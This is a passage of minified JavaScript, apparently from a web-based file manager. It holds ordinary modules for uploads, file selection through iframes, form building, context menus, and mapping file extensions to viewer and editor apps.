$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
          '+LNG.upload_drag_tips+"
          ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
          ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a})) -},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus;for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
        • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
        • '+r(o.icon)+""+d+"
        • "}var p=$(c).clone();a?e.$menu.find(a).first().after(p):i&&e.$menu.find(i).first().before(p);var u=p.parent(".context-menu-list").data("contextMenu");p.data({contextMenu:u,contextMenuKey:t,contextMenuRoot:n});var f={$input:null,$label:null,accesskey:o.accesskey,className:o.className,icon:o.icon,name:o.name,_name:d,$node:p};if(u&&(u.items||(u.items={}),u.items[t]=f),"string"!=typeof o&&(e.commands||(e.commands={}),e.commands[t]=f,n.commands[t]=f,n.callbacks[t]=function(e,t){o.callback(e,t)},o.accesskey&&(n.accesskeys[o.accesskey]=f),o.items)){var c='
          ';$(c).appendTo(p),f.$menu=p.find("ul."+t),f.callback=null,f.appendTo=f.$node,f.type="sub",p.data("contextMenu",f).addClass("context-menu-submenu"),p.find("ul."+t).data({contextMenuRoot:n,contextMenu:f}),p.find("li."+t+"-first").data({contextMenuRoot:n,contextMenuKey:t+"-first",contextMenu:f}),f.items||(f.items={}),f.items[t+"-first"]={$input:null,$label:null,icon:"",name:"",_name:"",$node:p.find("li."+t+"-first")},l(f,o.items,"."+t+"-first")}})};l(n,e,a,i)}};var e=function(){return $('').appendTo("#rightMenu"),"function"!=typeof $.contextMenu?console.info("$.contextMenu is not function!"):($.contextMenu({zIndex:9999,selector:".dialog-menu",items:{"dialog-quit":{name:LNG.close,className:"dialog-quit",icon:"remove",accesskey:"q"},"dialog-max":{name:LNG.dialog_max,className:"dialog-max",icon:"resize-full",accesskey:"a"},"dialog-min":{name:LNG.dialog_min,className:"dialog-min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},"open-window":{name:LNG.open_ie,className:"open-window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"dialog-quit":i.close();break;case"dialog-min":i._clickMin(!1);break;case"dialog-max":i._clickMax();break;case"refresh":i.refresh();break;case"open-window":i.openWindow();break;case"qrcode":core.qrcode(i.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui-title img,.aui-title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),$.contextMenu.hidden()}),void 0)};Hook.bind("rightMenu.show.dialog-menu",function(e,t){var a=e.attr("id"),i=$.dialog.list[a],n="hidden",o=".open-window,.refresh,.qrcode,.context-menu-separator";i.hasFrame()?t.find(o).removeClass(n):t.find(o).addClass(n);var s=".dialog-min,.dialog-max";$("."+a).hasClass("dialog-can-resize")?t.find(s).removeClass(n):t.find(s).addClass(n)}),e()}),define("app/app/appBase",[],function(){var e={},t={},a={},i=!1,n=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),e[a.name]=a,a.ext||(a.ext="");var i=a.ext.split(",");e[a.name].extArr=i,a.sort=a.sort!==void 0?parseInt(a.sort):0;for(var n=0;i.length>n;n++){var o=trim(i[n]);e[a.name].extArr[n]=o,t[o]||(t[o]=[]);for(var s=!1,r=0;t[o].length>r;r++)if(t[o][r].name==a.name){s=!0;break}s||(t[o].push({name:a.name,sort:a.sort}),t[o].length>1&&(t[o]=_.sortBy(t[o],"sort").reverse()))}Hook.trigger("kodApp.add.finished")},o=function(){return t},s=function(i){if(!i||!e[i])return!1;delete e[i];for(var n in a)if(a[n]==i){delete a[n];break}for(var n in t){for(var o=t[n],s=[],r=0;o.length>r;r++)o[r].name!=i&&s.push(o[r]);0==s.length?delete t[n]:t[n]=s}},r=function(i){if(i===void 0){var n=[];for(var o in e)e[o].hidden||n.push(e[o]);return n}var s=a[i],n=[];if(!s&&!t[i])return!1;if(s&&(e[s]?n.push(e[s]):delete a[i]),!t[i])return n;for(var r=0;t[i].length>r;r++){var l=t[i][r].name;e[l]&&l!=s&&n.push(e[l])}return n},l=function(e){i=e},c=function(){return i},d=function(t,a,i){a&&"file"!=a||(a=core.pathExt(t)),i=i?i:"";var n={path:t,ext:a,appName:i};if(!Hook.trigger("kodApp.open.before",n)){if(t=n.path,a=n.ext,i=n.appName)var o=e[i];else{var s=r(a);if(!s||0==s.length)return kodApp.openUnknow(t,""),void 0;var o=s[0]}if(!o)return Tips.tips("["+i+"] not exists",!1);try{o.callback(t,a),Hook.trigger("kodApp.open.after",t,a,o)}catch(l){kodApp.openUnknow(t,""),console.error("kodApp.open error:",l)}}},p=function(t){var a=r(t),i=r("");""==t&&(a=!1),a?a.push({name:""}):a=[],a=a.concat(i);for(var n={},o=0;a.length>o;o++){var s=a[o];""==s.name||s.hidden?n["step-line"]="-------":n[s.name]={app:s.name,name:s.title,className:s.className,icon:s.icon,callback:function(t){var a=e[t];if(a&&a.callback){if($(".context-menu-active"),$(".context-menu-active").hasClass("menu-tree-file"))var i=ui.tree.makeParam();else var i=ui.path.makeParam();a.callback(i.path,i.type)}}}}return n},u=function(e,t){f(e,t),G.userConfig.kodAppDefault=htmlEncode(jsonEncode(a)),G.shareInfo||$.get(G.appHost+"setting/set&k=kodAppDefault&v="+jsonEncode(a))},f=function(t,i){if("string"==typeof t)a[t]=i;else if($.isArray(t))for(var n=0;t.length>n;n++)a[t[n]]=i;else if(e[i]&&$.isArray(e[i].extArr))for(var o=e[i].extArr,n=0;o.length>n;n++)a[o[n]]=i},h=function(){G.userConfig.kodAppDefault="[]",a={}},m=function(t,a){var t=e[t];return t?a?inArray(t.extArr,a):t.ext:!1},v=function(a,i,n){var a=e[a];if(!a)return!1;var o="undefined"==n?0:parseInt(n);0==o&&a.sort!==void 0&&(o=parseInt(a.sort)),"string"==$.type(i)&&(i=i.split(","));for(var s=0;i.length>s;s++){var r=i[s];if(r){inArray(a.extArr,r)||a.extArr.push(r),t[r]||(t[r]=[]);for(var l=!1,c=0;t[r].length>c;c++)t[r][c].name!=a.name||(t[r][c].sort=o,l=!0);l||t[r].push({name:a.name,sort:o})}}},g=function(){if(G.userConfig&&G.userConfig.kodAppDefault)try{var e=G.userConfig.kodAppDefault;e=jsonDecode(htmlDecode(e)),$.isPlainObject(e)&&(a=e)}catch(t){}Hook.bind("rightMenu.show.menu-file,rightMenu.show.menu-tree-file",function(e,t){if(e.hasClass("menu-tree-file"))var a=ui.tree.makeParam();else var a=ui.path.makeParam();var i=core.pathExt(a.path),n="hidden";if(kodApp.getApp(i)){var o=kodApp.getAppMenu(i);t.find("li.open-with.context-menu-submenu").removeClass(n),t.find("ul.context-menu-list.open-with .context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(o,".menu-file",".open-with-first"),$.contextMenu.menuAdd(o,".menu-tree-file",".open-with-first")}else t.find("li.open-with.context-menu-submenu").addClass(n)}),Hook.trigger("kodApp.ready")};return g(),{debug:function(){return{appList:e,openDefault:t,openUser:a}},add:n,remove:s,appSupportCheck:m,appSupportSet:v,getApp:r,getAppBind:o,getAppMenu:p,setLastOpenTarget:l,getLastOpenTarget:c,setOpenUser:u,setOpenUserLocal:f,clearOpenUser:h,open:d}}),define("app/app/editor",[],function(){kodApp.add({name:"aceEditor",title:LNG["Plugin.default.aceEditor"],sort:0,ext:"txt,textile,oexe,inc,csv,log,asc,tsv,lnk,url,webloc,meta,localized,xib,xsd,storyboard,plist,csproj,pch,pbxproj,local,xcscheme,manifest,vbproj,strings,jshintrc,sublime-project,readme,changes,changelog,version,license,changelog,abap,abc,as,asp,aspx,ada,adb,htaccess,htgroups,htgroups,htpasswd,asciidoc,adoc,asm,a,ahk,bat,cmd,cpp,c,cc,cxx,h,hh,hpp,ino,c9search_results,cirru,cr,clj,cljs,cbl,cob,coffee,cf,cson,cakefile,cfm,cs,css,curly,d,di,dart,diff,patch,dockerfile,dot,dummy,dummy,e,ge,ejs,ex,exs,elm,erl,hrl,frt,fs,ldr,ftl,gcode,feature,.gitignore,glsl,frag,vert,gbs,go,groovy,haml,hbs,handlebars,tpl,mustache,hs,hx,html,hta,htm,xhtml,eex,html.eex,erb,rhtml,html.erb,ini,inf,conf,cfg,prefs,io,jack,jade,java,ji,jl,jq,js,jsm,json,jsp,jsx,latex,ltx,bib,lean,hlean,less,liquid,lisp,ls,logic,lql,lsl,lua,lp,lucene,Makefile,makemakefile,gnumakefile,makefile,ocamlmakefile,make,md,markdown,mask,matlab,mz,mel,mc,mush,mysql,nc,nix,nsi,nsh,m,mm,ml,mli,pas,p,pl,pm,pgsql,php,phtml,shtml,php3,php4,php5,phps,phpt,aw,ctp,module,ps1,praat,praatscript,psc,proc,plg,prolog,properties,proto,py,r,cshtml,rd,rhtml,rst,rb,ru,gemspec,rake,guardfile,rakefile,gemfile,rs,sass,scad,scala,scm,sm,rkt,oak,scheme,scss,sh,bash,bashrc,sjs,smarty,tpl,snippets,soy,space,sql,sqlserver,styl,stylus,svg,swift,tcl,tex,toml,twig,swig,ts,typescript,str,vala,vbs,vb,vm,v,vh,sv,svh,vhd,vhdl,wlk,wpgm,wtest,xml,rdf,rss,wsdl,xslt,atom,mathml,mml,xul,xbl,xaml,xq,yaml,yml,vcproj,vcxproj,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx",icon:G.staticPath+"images/file_icon/icon_app/ace.png",callback:function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(core.isApp("editor"))return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var a=t.$.dialog.list.openEditor,i=0;a&&"hidden"==$(a.DOM.wrap).css("visibility")&&(i=200,a.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},i)}else{var n=G.appHost+"editor/edit#filename="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}}});var e=ShareData.frameTop();e.Config&&"editor"==e.Config.pageApp&&kodApp.setOpenUserLocal(!1,"aceEditor")}),define("app/app/openWith",[],function(){kodApp.add({name:"appOpenSetting",title:LNG["Explorer.UI.appSetDefault"],ext:"",icon:G.staticPath+"images/file_icon/icon_others/setting.png",callback:function(e,t){var a="
          ",i=kodApp.getApp(t),n=!1;_.isArray(i)&&(n=i[0].name);var o=template.compile(a),s=o({LNG:LNG,apps:i,defaultApp:n,appAll:kodApp.getApp()}),r=$.dialog({id:"dialog-app-select",className:"menu-empty",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG["Explorer.UI.selectAppDesc"],width:480,height:360,padding:"20px",content:s,ok:function(){return l()}}),l=function(){var a=$("#app-default-checkbox").prop("checked"),i=$(".app-list.active .app-item.select").attr("data-app");return i?(r.close(),kodApp.open(e,t,i),a&&kodApp.setOpenUser(t,i),!0):(Tips.tips(LNG["Explorer.UI.selectAppWarning"],"warning"),!1)};$(".tab-group .tab-item").die("click").live("click",function(){var e=$(this).find("[aria-controls]").attr("aria-controls");"app-list-support"==e?$("#app-default-checkbox").prop("checked",!0):$("#app-default-checkbox").prop("checked",!1)}),$(".app-item").die("click").live("click",function(){$(this).parent().find(".select").removeClass("select"),$(this).addClass("select")}).die("dblclick").live("dblclick",function(){l()})}})}),define("app/app/html",[],function(){var e=function(e){return void 